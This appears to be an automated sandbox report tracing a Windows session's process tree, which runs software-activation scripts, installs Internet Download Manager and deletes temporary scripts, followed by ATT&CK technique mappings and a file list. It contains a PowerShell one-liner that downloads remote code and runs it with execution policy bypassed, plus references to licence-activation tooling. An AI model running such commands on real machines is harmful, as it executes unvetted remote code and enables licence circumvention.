C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5660,i,4449183645130521220,10263270188759087115,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5660,i,4449183645130521220,10263270188759087115,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3172,i,4280429678139414984,6199195889895910043,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=6596 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6880,i,9172628209393929953,7777538934124064314,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=6888 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7020,i,2631957278445140465,17599520770049649130,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=7036 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6808,i,1236516924455021125,5998453491664880618,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=6812 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6788,i,2077581929830763979,18395965738816325173,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=6784 /prefetch:148⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/massgravel/Microsoft-Activation-Scripts7⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://massgrave.dev/in-place_repair_upgrade7⤵
-
-
C:\Windows\System32\mode.commode 76, 307⤵
-
-
C:\Windows\System32\find.exefind /i "Ver:2.7" "C:\Program Files\Activation-Renewal\Activation_task.cmd"7⤵
-
-
C:\Windows\System32\choice.exechoice /C:1234567890 /N7⤵
-
-
C:\Windows\System32\mode.commode 76, 347⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds7⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"7⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds7⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"7⤵
-
-
C:\Windows\System32\choice.exechoice /C:12345678EH0 /N7⤵
-
-
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d 1 /f6⤵
- Modifies registry key
-
-
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -Command "irm https://christitus.com/win | iex"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1gvjp2sw\1gvjp2sw.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF0C3.tmp" "c:\Users\Admin\AppData\Local\Temp\1gvjp2sw\CSC9E66BCA3A8204C4C868813118B12F4FD.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\espi55ct\espi55ct.cmdline"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB91.tmp" "c:\Users\Admin\AppData\Local\Temp\espi55ct\CSC4978583382AF47A399C86684613852C0.TMP"4⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 85123⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -Command "irm https://christitus.com/win | iex"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in Program Files directory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\seeln4cy\seeln4cy.cmdline"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE07D.tmp" "c:\Users\Admin\AppData\Local\Temp\seeln4cy\CSCC60495B7779245A78D30DF97CA7922BC.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yia0m1zo\yia0m1zo.cmdline"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE7C1.tmp" "c:\Users\Admin\AppData\Local\Temp\yia0m1zo\CSC65B518B539F544FC8A6FEAF194D063A0.TMP"4⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7048 -s 63043⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -Command "irm https://christitus.com/win | iex"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zhksay2n\zhksay2n.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA341.tmp" "c:\Users\Admin\AppData\Local\Temp\zhksay2n\CSCF631C7129A184D53868387C8C3A4FF.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3zgwsjan\3zgwsjan.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAAB3.tmp" "c:\Users\Admin\AppData\Local\Temp\3zgwsjan\CSC2D953A63FBD04ADCA17BA197A309EA.TMP"4⤵
-
-
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c del /f /q "%TEMP%\MAS*.ps1" "%TEMP%\*UPDT.vbs" "%TEMP%\*WININF.vbs" 2>nul2⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Loads dropped DLL
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Loads dropped DLL
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Download Manager\IDMan.exe"C:\Program Files (x86)\Internet Download Manager\IDMan.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Download Manager\Uninstall.exe"C:\Program Files (x86)\Internet Download Manager\Uninstall.exe" -instdriv3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\RUNDLL32.EXE"C:\Windows\Sysnative\RUNDLL32.EXE" SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 C:\Program Files (x86)\Internet Download Manager\idmwfp.inf4⤵
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r5⤵
- Checks processor information in registry
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o6⤵
-
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP5⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP5⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP5⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP5⤵
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"4⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"5⤵
- Loads dropped DLL
-
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"3⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"3⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"3⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2020 -ip 20201⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 7048 -ip 70481⤵
-
C:\Program Files\Microsoft Office\root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\root\Office16\POWERPNT.EXE"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2103.1172.0_x64__8wekyb3d8bbwe\PilotshubApp.exe"C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2103.1172.0_x64__8wekyb3d8bbwe\PilotshubApp.exe" -ServerName:App.AppXxsvz1hsv4s5yt1mcgqv0v7q0m7qn9gxy.mca1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Browser Extensions
1Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1File Deletion
1Modify Registry
6Subvert Trust Controls
2Install Root Certificate
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Process Discovery
1Query Registry
5Remote System Discovery
1System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
2Internet Connection Discovery
2System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
Microsoft.PackageManagement.NuGetProvider.dll
Uninstall.exe
CrashpadMetrics-active.pma
settings.dat
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
f_000006
f_000015
f_000016
f_000017
f_000018
f_000019
f_00001a
f_00003b
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
rules.fbs
rules.fbs
rules.json
rules.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
verified_contents.json
opt.css
128.png
16.png
48.png
logo.svg
brg.js
content.js
offscr.js
opt.js
sb.js
vendor.js
manifest.json
offscr.html
panel.html
sb.html
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
verified_contents.json
captured.html
captured.js
content.js
debug.js
headBkgd.gif
headTitle.gif
logo128.png
logo16.png
logo16x.png
logo32.png
logo32x.png
logo48.png
logoTonec.gif
welcome.html
welcome.js
computed_hashes.json
document.js
Favicons
History
MANIFEST-000001
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
Secure Preferences
000003.log
LOG
the-real-index
the-real-index
the-real-index
